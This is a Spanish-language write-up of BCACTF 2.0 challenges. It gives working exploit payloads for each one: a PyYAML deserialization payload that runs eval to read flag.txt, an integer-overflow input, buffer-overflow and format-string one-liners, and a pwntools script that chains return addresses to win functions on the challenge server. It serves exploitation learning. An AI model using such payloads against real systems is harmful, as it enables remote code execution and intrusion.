synawk

Writeup BCACTF 2.0

Aquí dejo algunos challenges de lo que fue el evento BCACTF 2.0. En su mayoría son retos simples o de iniciación.

misc

Challenge Checker - 150 points

I made this challenge checker to automate away ed's job. Maybe you can get a flag if you give it enough delicious yams...

    chall.yaml
    requirements.txt
    verify.py

    nc misc.bcactf.com 49153

Nos entregan 3 archivos y una url para conectarnos. Si nos conectamos queda esperando el yml (chall.yaml)

└─$ nc misc.bcactf.com 49153                                                                                                                                                                                                          
Paste in your chall.yaml file, then send an EOF or two empty lines:

Al revisar la versión del PyYAML se ve que es vulnerable a RCE según el issue publicado en github. El hint nos dice que está ubicado en flag.txt asi que podemos leer el archivos al enviar el siguiente payload.

!!python/object/new:tuple [!!python/object/new:map [!!python/name:eval , [ 'print(open("flag.txt").read())' ]]]

bcactf{3d_r3ally_l1k35s_his_yams_c00ked_j5fc9g}

Challenge Checker 2 - 200 points

New version, better security, right?

    chall.yaml
    requirements.txt
    verify.py
    nc misc.bcactf.com 49154 

Mismo procedimiento.. bcactf{y0u_r3ally_0verc00k3d_th05e_yams_j5fc9g}

binex

BCA Mart - 75 points

After the pandemic hit, everybody closed up shop and moved online. Not wanting to be left behind, BCA MART is launching its own digital presence. Shop BCA MART from the comfort of your own home today!

    bca-mart.c
    bca-mart
    nc bin.bcactf.com 49153

Nos dan 2 archivo y una conexión.

Si revisamos el código vemos que lo ingresado por el usuario se multiplica por el costo. La validación es simple, solo basta con enviar un número multiplicado por el precio (100) sea mayor al máximo int

> 6000000000 
That'll cost $-1295421440.
Thanks for your purchse!
bcactf{bca_store??_wdym_ive_never_heard_of_that_one_before}

Honors ABCs - 75 points

Here at BCA, we don't deal with normal classes. Everything is at the honors level or above! Let's start by learning about the alphabet.

And by learning, we obviously mean testing. Don't cheat!

    honors-abcs.c
    honors-abcs
    nc bin.bcactf.com 49155

Simple overflow al enviar un payload así: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Luego de un largo texto se muestra el flag. bcactf{now_i_know_my_A_B_Cs!!_next_time_wont_you_cheat_with_me??}

AP ABCs - 100 points

Oh wow, they put a freshman in AP ABCs? Never thought I'd see this happen. Anyways, good luck, and make sure to not cheat on your AP test!

    ap-abcs.c
    ap-abcs
    nc bin.bcactf.com 49154

Otro overflow simple. Usando gdb se puede conocer la longitud del payload a ser enviad y ocupar la memoria en score. Esto es necesario por el código espera igualar el score con 0x73434241 que en ASCII es ABCs

python -c "print b'A'*76 + b'ABCs'" | nc bin.bcactf.com 49154 

Finalmente luego de un largo texto muestra el flag: bcactf{bca_is_taking_APs_in_june_aaaaaaaa_wish_past_me_luck}

American Literature - 150 points

Writing essays is so much fun! Watch me write all these totally meaningful words about other words... Actually, wait. You shouldn't be reading my essays. Shoo!

    amer-lit.c
    amer-lit
    nc bin.bcactf.com 49157 

Se trata de un problema de string format.

python -c "print ''.join(['%{}\$p'.format(c) for c in range(20,24)])" |  nc bin.bcactf.com 49157

Al enviar el payload se recibe este hex 0x747b6674636163620x6e5f796c6c61746f0x6f6c706d655f746f0x6568745f676e6979 y se puede reconocer también parte del flag 63616362 (endianness) bca, se pudo automatizar pero fue más rápido traer las partes y luego unir todo.

bcactf{totally_not_employing_the_use_of_generic_words_to_reach_the_required_word_limit_nope_not_me}

Math Analysis - 150 points

Congratulations, you've graduated from letters! Now, let's move on to numbers.

From the BCA Course Catalog:

Analysis I includes linear and quadratic functions, polynomials, inequalities, functions, exponential and logarithmic functions, conic sections, and geometry.

That's a lot of cool stuff! I think you'll have tons of fun learning about functions in this class!

    analysis.c
    analysis
    nc bin.bcactf.com 49158

Otro overflow simple. Hay que saltar hasta la función cheat Revisamos la dirección de la función con r2

└─$ r2 analysis                                                                                                                                                                                                                       [0x00401170]> aaaa
[0x00401170]> afl
..
0x00401256    3 124          sym.cheat

Para calcular el offset se puede usar gdb y probar con un patrón hasta que rebase el payload. Luego se construyó el comando.

python -c "from pwn import *; print (b'A'*72) + p64(0x00401256)"  | nc bin.bcactf.com 49158

Finalmente el flag. bcactf{challenges_are_just_functions_mapping_from_coffee_to_points}

Advanced Math Analysis - 200 points

The advanced course covers the same content as the non-advanced course and then some. Specifically, it also teaches some units on logic and geometry.

Now, I'm personally not the biggest fan of geometry, so I'll spare you from that. But you'll definitely need to spend some time logicing this challenge out!

    adv-analysis.c
    adv-analysis
    nc bin.bcactf.com 49156

Este también era simple, similar al anterior. Solo había una diferencia y era el strcmp, el string que ingresaba debía ser igual a ese. Sabemos que las cadenas de caracteres terminan en 0x0 y el strcmp no valida la longitud.

...
printf("> ");
gets(response);

if (strcmp(response, "i pledge to not cheat")) {
   puts("I'm sorry, but you did not type out the honor pledge.");

...

Así que se puede enviar el payload:

i pledge to not cheat\0x0AAAAAAAAAAAAA

De esa forma el strcmp era true y además se puede enviar un payload adicional. Finalmente luego de hallar el offset, construí el comando que apunta a la función cheat obtenida con r2.

python -c "from pwn import *; print (b'i pledge to not cheat') +b'\x00'+ b'\x41'*(50) + p64(0x40121a)" | nc bin.bcactf.com 49156 

bcactf{corresponding_parts_of_congurent_triangles_are_congruent_ie_CPCCTCPTPPTCTC}

Discrete Mathematics - 250 points

BCA's top-level math track! We have proofs, trig, parametric, polar, linear algebra, calculus, ... You'll just have to demonstrate your skills before getting the flag.

    discrete.c
    discrete
    nc bin.bcactf.com 49160

Este fue un poco más trabajoso, sin embargo cumple la misma lógica que los anteriores.

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int knows_logic = 0;
int knows_algebra = 0;
int knows_functions = 0;


//0x000000000040123b
void logic() {
    int p, q, r, s;

    printf("p: ");
    scanf("%d", &p);
    printf("q: ");
    scanf("%d", &q);
    printf("r: ");
    scanf("%d", &r);
    printf("s: ");
    scanf("%d", &s);
    
    knows_logic = (p || q || !r) && (!p || r || !s) && (q != s) && s;
}

//0x000000000040133b
void algebra() {
    int x, y, z;

    printf("x: ");
    scanf("%d", &x);
    printf("y: ");
    scanf("%d", &y);
    printf("z: ");
    scanf("%d", &z);

    int eq1 = 5*x - 6*y + 3*z;
    int eq2 = 2*x + 5*y - 7*z;
    int eq3 = 4*x + 8*y + 8*z;

    knows_algebra = (eq1 == 153) && (eq2 == -163) && (eq3 == -28);
}

//0x0000000000401452

void functions() {
    int a, b, c;

    printf("a: ");
    scanf("%d", &a);
    printf("b: ");
    scanf("%d", &b);
    printf("c: ");
    scanf("%d", &c);

    int vertex_x = -b / (2*a);
    int vertex_y = a * vertex_x * vertex_x + b * vertex_x + c;
    int discriminant = b * b - 4 * a * c;

    knows_functions = (vertex_x == 2) && (vertex_y == -2) && (discriminant == 16);
}

void quiz() {
    FILE *fp = fopen("flag.txt", "r");
    char flag[100];

    if (fp == NULL) {
        puts("Sorry, all my stuff's a mess.");
        puts("I'll get around to grading your quiz sometime.");
        puts("[If you are seeing this on the remote server, please contact admin].");
        exit(1);
    }

    fgets(flag, sizeof(flag), fp);

    if (knows_logic && knows_algebra && knows_functions) {
        puts("Alright, you passed this quiz.");
        puts("Here's your prize:");
        puts(flag);
    } else {
        puts("Not there yet...");
        puts("Study some more!");
    }
}

int main() {
    char response[50];

    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
    setbuf(stderr, NULL);

    puts("Discrete.");
    puts("The top math track.");
    puts("The best BCA students.");
    puts("The crème de la crème.");
    puts("We have high expectations.");
    puts("Answer all the questions correctly.");
    puts("Do not disappoint us.");
    printf("> ");
    gets(response);

    if (strcmp(response, "i will get an A")) {
        puts("I'm sorry, but you obviously don't care about grades.");
        puts("Therefore, you aren't motivated enough to be in our class.");
        puts("Goodbye.");
        exit(1);
    }

    puts("Your quiz have been posted to Schoology.");
    puts("You have twenty minutes.");
    puts("Good luck.");
}

Como se puede ver en código no es posible saltar directamente a quiz porque es necesario primero validar las 3 otras funciones. Hice un código que automatiza el proceso con las soluciones que devuelvan un valor verdadero en cada una de las funciones.

from pwn import *

p = remote("bin.bcactf.com", 49160)

p.recvuntil(">")

payload = b"i will get an A" + b'\x00' 
addr_logic = 0x40123b
addr_alg= 0x40133b
addr_func = 0x401452
addr_flag = 0x401549
offset = b'A'*(64-16+8)
 
p.sendline(payload +  offset + p64(addr_logic) + b'A'*8 + p64(addr_alg) +  b'A'*8+ p64(addr_func) +  b'A'*8+ p64(addr_flag))
print p.recvuntil("p: ")
p.sendline(b"1")
print p.recvuntil("q: ")
p.sendline(b"0")
print p.recvuntil("r: ")
p.sendline(b"1")
print p.recvuntil("s: ")
p.sendline(b"1")

print p.recvuntil("x: ")
p.sendline(b"3")
print p.recvuntil("y: ")
p.sendline(b"-17")
print p.recvuntil("z: ")
p.sendline(b"12")

print p.recvuntil("a: ")
p.sendline(b"2")
print p.recvuntil("b: ")
p.sendline(b"-8")
print p.recvuntil("c: ")
p.sendline(b"6")

print p.recvuntil("}")

Finalmente el flag: bcactf{the_limit_as_t_approaches_the_ctf_of_my_sanity_approaches_0}